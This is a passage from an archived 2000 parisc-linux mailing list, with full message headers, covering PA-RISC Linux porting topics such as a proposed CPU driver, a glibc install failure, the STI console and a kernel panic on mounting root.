to iosapic.c and how iosapic gets information from the firmware.

This led me to the idea that we should have a driver to claim
CPU instances. Some advantages

o CPU initialization code in fewer places. It's currently
  spread about in the inventory.c, setup.c, etc files.
  + fill in CPU specific data (eg id_eid or HPA) from PDC calls.
  + initialize other per CPU instance data (eg counters)
  + allocate/initialize per CPU IRQ_REGION and interupt handling.

o dynamic CPU add/removal possible using the driver callback's.
  (well, at least for now the add)
  + single place to cram CPU specific add/remove code.

I'm not sure what the drawbacks would be (SMP rendevous?)
but like to hear from others if I should or shouldn't
write such a driver.

thanks,
grant


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: website amodra
Date: Tue, 17 Oct 2000 09:10:20 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <002101c03809$500d8ba0$bed72dd5@rinux>
References: <200010161234.GAA29687@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619185 4488 80.91.229.3 (22 Nov 2014 01:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:45 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: rinux@iternet.it  Tue Oct 17 01:05:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA16345
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 01:05:06 -0600
Original-Received: (qmail 4032 invoked by uid 15267); 17 Oct 2000 07:06:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4025 invoked from network); 17 Oct 2000 07:06:17 -0000
Original-Received: from pop01-acc.tin.it (HELO fep05-svc.tin.it) (212.216.176.64)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 07:06:17 -0000
Original-Received: from rinux ([213.45.215.190]) by fep05-svc.tin.it
          (InterMail vM.4.01.02.27 201-229-119-110) with SMTP
          id <20001017070550.OPF5431.fep05-svc.tin.it@rinux>
          for <parisc-linux@thepuffingroup.com>;
          Tue, 17 Oct 2000 09:05:50 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8129

Hi
I have an parisc, were can I download the linux for it?
tnx & regards

rino


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: website amodra
Date: Tue, 17 Oct 2000 18:35:19 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010171831520.9896-100000@front.linuxcare.com.au>
References: <002101c03809$500d8ba0$bed72dd5@rinux>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619185 4489 80.91.229.3 (22 Nov 2014 01:19:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: iternet <rinux@iternet.it>
Original-X-From: alan@linuxcare.com.au  Tue Oct 17 01:34:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA16867
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 01:34:45 -0600
Original-Received: (qmail 26482 invoked by uid 15267); 17 Oct 2000 07:36:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26426 invoked from network); 17 Oct 2000 07:35:58 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 07:35:58 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA10192;
	Tue, 17 Oct 2000 18:35:19 +1100
In-Reply-To: <002101c03809$500d8ba0$bed72dd5@rinux>
Xref: news.gmane.org gmane.linux.ports.parisc:8130

On Tue, 17 Oct 2000, iternet wrote:

> I have an parisc, were can I download the linux for it?

Read http://thepuffingroup.com/parisc/recipe.html

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Tue, 17 Oct 2000 10:34:14 +0200
Organization: H.P
Lines: 31
Approved: news@gmane.org
Message-ID: <39EC0F06.4C908926@admin.france.hp.com>
References: <Pine.LNX.4.21.0010162159040.27337-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619186 4491 80.91.229.3 (22 Nov 2014 01:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:46 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Tue Oct 17 02:37:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA17585
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 02:37:21 -0600
Original-Received: (qmail 8569 invoked by uid 15267); 17 Oct 2000 08:38:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8554 invoked from network); 17 Oct 2000 08:38:39 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 08:38:39 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 61E101CFD2
	for <parisc-linux@thepuffingroup.com>; Tue, 17 Oct 2000 10:38:37 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA11513 for <parisc-linux@thepuffingroup.com>; Tue, 17 Oct 2000 10:37:44 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8131

	Hi
I try to completly rebuild chaintool with the last recipe. It works much more
better than the last time I try to build it. I still have some trouble with building
glibc with includes (but it's okay, I'm able to correct it). The compilation is okay,
but in the make install:
.././scripts/install-sh -c /opt/linux_hppa/src/build/glibc/elf/ld.so /opt/linux/hppa-linux/lib/ld-2.1.92.so.new
mv -f /opt/linux/hppa-linux/lib/ld-2.1.92.so.new /opt/linux/hppa-linux/lib/ld-2.1.92.so
make[2]: *** No rule to make target `/opt/linux/hppa-linux/lib/libc-2.1.92.so', needed by `/opt/linux/hppa-linux/lib/ld.so.1'.  Stop.
 
I'm not very proficient with makefiles, and I'm not able to debug this one.
The libc has been correctly build:
#ll /opt/linux_hppa/src/build/glibc/libc.so
-rwxr-xr-x   1 root       sys        4465666 Oct 17 10:05 /opt/linux_hppa/src/build/glibc/libc.so
#file /opt/linux_hppa/src/build/glibc/libc.so
/opt/linux_hppa/src/build/glibc/libc.so:        ELF-32 shared object file - PA-RISC 
#strings /opt/linux_hppa/src/build/glibc/libc.so | grep 2.1.92
2.1.92
GNU C Library development release version 2.1.92, by Roland McGrath et al.

And "ld" looks good to, and have been succesfully installed just before this error.


So, all looks okay, but makefile for install stuff seems to be wrong.
Do you have any clue ?

	Thanks.
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: Tue, 17 Oct 2000 20:08:29 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010171957521.9896-100000@front.linuxcare.com.au>
References: <39EC0F06.4C908926@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619186 4493 80.91.229.3 (22 Nov 2014 01:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:46 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 17 03:10:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA18178
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 03:10:57 -0600
Original-Received: (qmail 599 invoked by uid 15267); 17 Oct 2000 09:12:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 581 invoked from network); 17 Oct 2000 09:12:14 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 09:12:14 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA12051;
	Tue, 17 Oct 2000 20:08:29 +1100
In-Reply-To: <39EC0F06.4C908926@admin.france.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8132

On Tue, 17 Oct 2000, Bruno Vidal wrote:

> but in the make install:
> .././scripts/install-sh -c /opt/linux_hppa/src/build/glibc/elf/ld.so /opt/linux/hppa-linux/lib/ld-2.1.92.so.new
> mv -f /opt/linux/hppa-linux/lib/ld-2.1.92.so.new /opt/linux/hppa-linux/lib/ld-2.1.92.so
> make[2]: *** No rule to make target `/opt/linux/hppa-linux/lib/libc-2.1.92.so', needed by `/opt/linux/hppa-linux/lib/ld.so.1'.  Stop.

Immediately after installing ld.so, "make install" should be installing
the new libc.so.  Hmm, your glibc sources are not the latest puffin ones,
as the latest glibc will install as 2.1.94  You might have better luck
after updating (via cvs).  At some point glibc configure was changed to
require make-3.79.1 or later to compile glibc, perhaps in response to a
problem such as you are seeing, so maybe you also need to upgrade "make".

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Don Dyer <don@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Qn on Linux/PA-RISC future Console driver
Date: Wed, 07 Apr 1999 14:18:15 -0600
Organization: Hewlett-Packard
Lines: 23
Approved: news@gmane.org
Message-ID: <370BBD87.B30E259@fc.hp.com>
References: <199904071805.LAA22267@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619186 4494 80.91.229.3 (22 Nov 2014 01:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:46 +0000 (UTC)
Cc: kumar@ix.netcom.com, parisc-linux@thepuffingroup.com
To: Jason Eckhardt <jason@equator.com>
Original-X-From: don@fc.hp.com  Wed Apr  7 16:18:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA15364
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 16:18:40 -0400
Original-Received: (qmail 20720 invoked by uid 15267); 7 Apr 1999 20:18:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20713 invoked from network); 7 Apr 1999 20:18:04 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 7 Apr 1999 20:18:04 -0000
Original-Received: from gplmail.fc.hp.com (nsmail@gplmail.fc.hp.com [15.1.92.20])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA14718
	for <parisc-linux@thepuffingroup.com>; Wed, 7 Apr 1999 16:18:11 -0400 (EDT)
Original-Received: from fc.hp.com ([15.1.91.152]) by gplmail.fc.hp.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAAB2A;
          Wed, 7 Apr 1999 14:18:18 -0600
Original-Sender: don@atlrel1.hp.com
X-Mailer: Mozilla 4.51 [en] (X11; I; HP-UX B.10.20 9000/782)
X-Accept-Language: en-US,ja,zh
Xref: news.gmane.org gmane.linux.ports.parisc:8133



Jason Eckhardt wrote:
> 
> >
> > Hi,
> >       Has anyone done some work on Linux/PA-RISC Console driver.
> >       Are we planning to use PDC for console or is it possible
> >       to directly access Console device.
> >
> 
>   I believe HP-UX uses the STI ROM interface rather than going
>   through the IODC interface (i.e. like the bootstrap), although an HP person
>   can tell us positively.

  IODC uses STI to access the graphics device.  This removes graphics
device dependencies in IODC and allows any graphics device (including
unknown or new devices) to be used as the text only boot device.

Don Dyer
Workstation Systems Lab
+1 970/898-4277


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] simple kernel tasks?
Date: Tue, 17 Oct 2000 07:15:03 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20001017071503.D928@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619187 4496 80.91.229.3 (22 Nov 2014 01:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: randolph@tausq.org  Tue Oct 17 08:14:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA21378
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 08:14:37 -0600
Original-Received: (qmail 13246 invoked by uid 15267); 17 Oct 2000 14:15:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12687 invoked from network); 17 Oct 2000 14:15:16 -0000
Original-Received: from phnxpop4.phnx.uswest.net (206.80.192.4)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 14:15:16 -0000
Original-Received: (qmail 53672 invoked by alias); 17 Oct 2000 14:15:11 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 53635 invoked by uid 0); 17 Oct 2000 14:15:10 -0000
Original-Received: from dslpppa54.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.55)
  by phnxpop4.phnx.uswest.net with SMTP; 17 Oct 2000 14:15:10 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 13lXWB-0002Jl-00; Tue, 17 Oct 2000 07:15:03 -0700
User-Agent: Mutt/1.0.1i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:8134

Hi all,

Per Grant's suggestion I had looked into getting /dev/rtc to work. I
checked in my changes yesterday and they seem to be ok.

I was wondering if there's a list of TODOs for things that need to be
done in the kernel. I'd like to help if i can, though I'm still learning
the ropes so simple tasks are preferred :-)

thanks,
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Troubles following the 'recipe'
Date: 17 Oct 2000 11:19:04 -0400
Organization: Linuxcare, Inc.
Lines: 12
Approved: news@gmane.org
Message-ID: <87zok34hsn.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0010171957521.9896-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619187 4499 80.91.229.3 (22 Nov 2014 01:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:47 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Tue Oct 17 09:28:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22017
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 09:28:17 -0600
Original-Received: (qmail 708 invoked by uid 15267); 17 Oct 2000 15:29:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32621 invoked from network); 17 Oct 2000 15:28:56 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 15:28:56 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13lYW8-0000Nu-00; Tue, 17 Oct 2000 11:19:04 -0400
In-Reply-To: Alan Modra's message of "Tue, 17 Oct 2000 20:08:29 +1100 (EST)"
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8135

Alan Modra <alan@linuxcare.com.au> writes:

> Immediately after installing ld.so, "make install" should be installing
> the new libc.so.  Hmm, your glibc sources are not the latest puffin ones,
> as the latest glibc will install as 2.1.94 

2.1.95 actually.  (Sorry for not announcing this on the list)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] simple kernel tasks?
Date: Tue, 17 Oct 2000 09:01:51 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <200010171601.JAA12803@milano.cup.hp.com>
References: <20001017071503.D928@tausq.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619187 4501 80.91.229.3 (22 Nov 2014 01:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Randolph Chung <randolph@tausq.org>
Original-X-From: grundler@cup.hp.com  Tue Oct 17 09:56:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22562
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 09:56:32 -0600
Original-Received: (qmail 1682 invoked by uid 15267); 17 Oct 2000 15:57:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1121 invoked from network); 17 Oct 2000 15:57:27 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 15:57:27 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id DD789E68; Tue, 17 Oct 2000 08:57:25 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA12803;
	Tue, 17 Oct 2000 09:01:53 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 17 Oct 2000 07:15:03 PDT."
             <20001017071503.D928@tausq.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:8136

Randolph Chung wrote:
> Hi all,
> 
> Per Grant's suggestion I had looked into getting /dev/rtc to work. I
> checked in my changes yesterday and they seem to be ok.

Hey Randolph! Excellent!

I'm still chuckling about finding "#CONFIG_RTC is not set".

> I was wondering if there's a list of TODOs for things that need to be
> done in the kernel. I'd like to help if i can, though I'm still learning
> the ropes so simple tasks are preferred :-)

We certainly do have a list:

	http://www.thepuffingroup.com/parisc/status.html

The only problem is this list lags behind the "real" TODO list
(in CVS website/status.x). This lag is a result of hosting CVS
on a different machine than the website and a slightly manual
process to syncronize the two.

The plan is to automate CVS->webserver updates...but maybe we shouldn't
bother and hook into the debian bug tracking system instead.
Suggestions for some other existing "change request" system?

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble with new STI
Date: Fri, 17 Nov 2000 17:59:14 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <001201c050b7$b737d260$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000F_01C050C0.18E3D060"
X-Trace: ger.gmane.org 1416619188 4505 80.91.229.3 (22 Nov 2014 01:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:48 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: marteaut@esiee.fr  Tue Oct 17 09:56:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA22635
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 09:56:47 -0600
Original-Received: (qmail 1963 invoked by uid 15267); 17 Oct 2000 15:58:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1347 invoked from network); 17 Oct 2000 15:57:35 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 15:57:35 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP id 64E5D5734F
	for <parisc-linux@thepuffingroup.com>; Tue, 17 Oct 2000 17:57:09 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8137

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C050C0.18E3D060
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all,

We've tried the new STI driver and our 712 dies with this message:

Kernel Panic: VFS: Unable to mount root fs on 01:00

We tried with Ramdisk, nfs and hard disk support and always the same =
end.
Also, the death happens when you 've passed bootp request...

Help!

Thomas

------=_NextPart_000_000F_01C050C0.18E3D060
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We've tried the new STI driver and our =
712 dies=20
with this message:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Kernel Panic: VFS: Unable to mount root =
fs on=20
01:00</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We tried with Ramdisk, nfs and hard =
disk support=20
and always the same end.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Also, the death happens when you 've =
passed bootp=20
request...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Help!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thomas</FONT></DIV></BODY></HTML>

------=_NextPart_000_000F_01C050C0.18E3D060--


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble with new STI
Date: 17 Oct 2000 12:02:35 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87snpv4fs4.fsf@linuxcare.com>
References: <001201c050b7$b737d260$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619188 4506 80.91.229.3 (22 Nov 2014 01:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:48 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Thomas Marteau" <marteaut@esiee.fr>
Original-X-From: dhd@linuxcare.com  Tue Oct 17 10:02:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA23335
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Oct 2000 10:02:15 -0600
Original-Received: (qmail 8928 invoked by uid 15267); 17 Oct 2000 16:03:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8076 invoked from network); 17 Oct 2000 16:02:39 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Oct 2000 16:02:39 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13lZCF-0000Oh-00; Tue, 17 Oct 2000 12:02:35 -0400
In-Reply-To: "Thomas Marteau"'s message of "Fri, 17 Nov 2000 17:59:14 +0100"
Original-Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8138

"Thomas Marteau" <marteaut@esiee.fr> writes:

> We've tried the new STI driver and our 712 dies with this message:
> Kernel Panic: VFS: Unable to mount root fs on 01:00
> We tried with Ramdisk, nfs and hard disk support and always the same end.

That has nothing to do with the STI drivers, and I'm afraid I can't
help you unless you give more detail.  Like your kernel .config file
for instance.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] simple kernel tasks?
Date: Tue, 17 Oct 2000 10:16:15 -0700
Lines: 19
Approved: news@gmane.org
